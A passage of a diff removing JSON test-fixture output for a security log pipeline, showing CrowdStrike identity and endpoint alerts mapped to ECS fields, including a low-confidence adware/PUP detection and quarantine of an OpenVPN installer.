ct_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}",
-                "severity": 47,
-                "start": "2024-08-19T18:43:44.242Z"
-            },
-            "host": {
-                "id": "58293534772e48c99f33c61631b3536d"
-            },
-            "message": "Auserdeniedapolicyidentityverificationrequest",
-            "observer": {
-                "geo": {
-                    "country_iso_code": "US",
-                    "location": {
-                        "lat": 320316,
-                        "lon": -12729080
-                    }
-                }
-            },
-            "related": {
-                "hosts": [
-                    "BCD.example.com",
-                    "ABDC454.net.example.com",
-                    "GH787.abc.example.com",
-                    "GHPOTAL12578"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.example",
-                    "admin.abcdef@example.com",
-                    "HFJFJFFFFFFF$",
-                    "admin.abcdef"
-                ]
-            },
-            "rule": {
-                "id": "123324-343-4dfa9E0-8F85-dfaa3242",
-                "name": "admin-RDPAccesstoTIER-0Servers"
-            },
-            "source": {
-                "domain": "ABDC454.net.example.com",
-                "ip": "81.2.69.144",
-                "user": {
-                    "domain": "BCD.example.com",
-                    "name": "admin.example"
-                }
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "falcon_complete"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0006"
-                    ],
-                    "name": [
-                        "CredentialAccess"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1110"
-                    ],
-                    "name": [
-                        "BruteForce"
-                    ]
-                }
-            },
-            "user": {
-                "name": "admin.abcdef"
-            }
-        },
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
